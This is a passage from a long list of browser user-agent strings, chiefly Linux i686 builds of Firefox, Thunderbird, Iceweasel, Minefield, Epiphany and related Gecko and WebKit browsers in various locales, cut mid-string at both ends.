Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100423 Thunderbird/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.6 (like Firefox/3.5.6; Debian-3.5.6-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.8 (like Firefox/3.5.8) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080916020338 Minefield/3.1b1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080926001251 SeaMonkey/2.0a2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b1pre) Gecko/20080930020755 Minefield/3.1b1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2) Gecko/20090128 Fedora/3.1-0.4.beta2.fc11 Minefield/3.1b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20081203 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090105 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090106 Fennec/1.0a2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090106 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3pre) Gecko/20090207 Ubuntu/9.04 (jaunty) IceWeasel/3.1b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090311 Ubuntu/9.04 (jaunty) Shiretoko/3.1b4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090401 Fennec/1.0a2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090405 SeaMonkey/2.0b1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b4pre) Gecko/20090405 Shiretoko/3.5b4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100206 Namoroka/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101006 Thunderbird/3.1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101114 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12pre) Gecko/20101010 Ubuntu/10.04 (lucid) Namoroka/3.6.12pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Prism/1.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101208 Lightning/1.0b2 Thunderbird/3.1.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110223 Lightning/1.0b2 Thunderbird/3.1.8 ThunderBrowse/3.3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110419 Lightning/1.0b2 Thunderbird/3.1.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110424 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110424 Thunderbird/3.1.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110516 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17pre) Gecko/20110322 Ubuntu/10.10 (maverick) Namoroka/3.6.17pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17pre) Gecko/20110401 Ubuntu/10.04 (lucid) Namoroka/3.6.17Pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko/20110617 Lightning/1.0b2 Thunderbird/3.1.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko/20110617 Thunderbird/3.1.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/9.10 (karmic) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18pre) Gecko/20110509 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.20) Gecko/20110805 Lightning/1.0b2 Thunderbird/3.1.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.20) Gecko/20110805 Thunderbird/3.1.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.23) Gecko/20110922 Lightning/1.0b2 Thunderbird/3.1.15 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100129 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100310 Ubuntu/8.10 (intrepid) Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100315 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3pre) Gecko/20100316 Ubuntu/9.10 (karmic) Namoroka/3.6.3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100922 Thunderbird/3.1.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090102 Ubuntu/9.04 (jaunty) Minefield/3.2a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090327 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a1pre) Gecko/20090403 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090825 Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090906 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2a2pre) Gecko/20090921 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091022 Minefield/3.7a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a4pre) Gecko/20100404 SeaMonkey/2.1a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a5pre) Gecko/20100527 Minefield/3.7a5pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060609 Minefield/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060819 Minefield/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061016 Minefield/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061111 Minefield/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20070308 Minefield/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a2) Gecko/20070221 Minefield/3.0a2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3) Gecko/20070322 GranParadiso/3.0a3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3) Gecko/20070328 Minefield/3.0a3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070301 Minefield/3.0a3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a5) Gecko/20070605 GranParadiso/3.0a5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a8pre) Gecko/2007092004 Minefield/3.0a8pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2008011913 Minefield/3.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2pre) Gecko/2007112704 Minefield/3.0b2pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008021322 Minefield/3.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008021416 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010404 Minefield/3.0b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008022304 Minefield/3.0b4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008042623 Iceweasel/3.0b5 (Debian-3.0~b5-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008032621 Fedora/3.0-0.49.cvs20080326.fc9 Minefield/3.0pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008051917 Firefox/3.0pre Flock/2.0a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008061501 SeaMonkey/2.0a1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008061504 Minefield/3.0pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0.0.3) Gecko/20070527 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0a1pre) Gecko/2008060602 Minefield/4.0a1pre Mozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-ca) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) epiphany-webkit Mozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.0.5603M Mozilla/5.0 (X11; U; Linux i686; en-ie) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/146.1 (KHTML, like Gecko) osb-browser/0.5 Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.0.7) Gecko/20060928 Epiphany/2.14 (Ubuntu) Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.1) Gecko/20070117 Epiphany/2.16 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.10) Gecko/20071213 Epiphany/2.20 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-2) Epiphany/2.20 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.12) Gecko/20080208 (Debian-1.8.1.12-5) Epiphany/2.20 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.14) Gecko/20080416 Fedora/2.18.3-9.fc7 Epiphany/2.18 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.14) Gecko/20080418 Epiphany/2.20 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.17) Gecko/20080703 Epiphany/2.22 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.17) Gecko/20080927 Epiphany/2.20 Firefox/2.0.0.17 (Dropline GNOME) Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.19) Gecko/20081216 Epiphany/2.20 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20070322 Epiphany/2.18 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20070403 Epiphany/2.16 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.3) Gecko/20080629 Epiphany/2.22 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-1) Epiphany/2.18 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.5) Gecko/20070712 (Debian-1.8.1.5-1) Epiphany/2.18 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/20080528 (Gentoo) Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9) Gecko/2008062113 Iceweasel/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.12) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.14) Gecko/20080528 Epiphany/2.22 (Debian/2.26.3-2) Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.15) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.4) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.5) Gecko/20080528 Fedora/2.24.1-3.fc10 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/20080528 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.7) Gecko/20080528 Epiphany/2.22 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 (Debian/2.24.3-2) Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.9) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9b3) Gecko Epiphany/2.20 Mozilla/5.0 (X11; U; Linux i686; en_GB; rv:1.8.1.4) Gecko/20070530 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en_GB; rv:1.9.0.1) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-0etch1) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.7.12) Gecko/20050929 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.13) Gecko/20080311 Iceweasel/2.0.0.13 (Debian-2.0.0.13-0etch1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.18) Gecko/20081030 Iceweasel/2.0.0.18 (Debian-2.0.0.18-0etch1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.9) Gecko/20071025 Iceweasel/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.9) Gecko/20071025 Iceweasel/2.0.0.9 (Debian-2.0.0.9-2) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061319 Iceweasel/3.0.11 (Debian-3.0.11-1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.5) Gecko/2008122011 Iceweasel/3.0.5 (Debian-3.0.5-1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.17pre) Gecko/20110404 Ubuntu/10.10 (Maverick) Namoroka/3.6.17pre Mozilla/5.0 (X11; U; Linux i686; 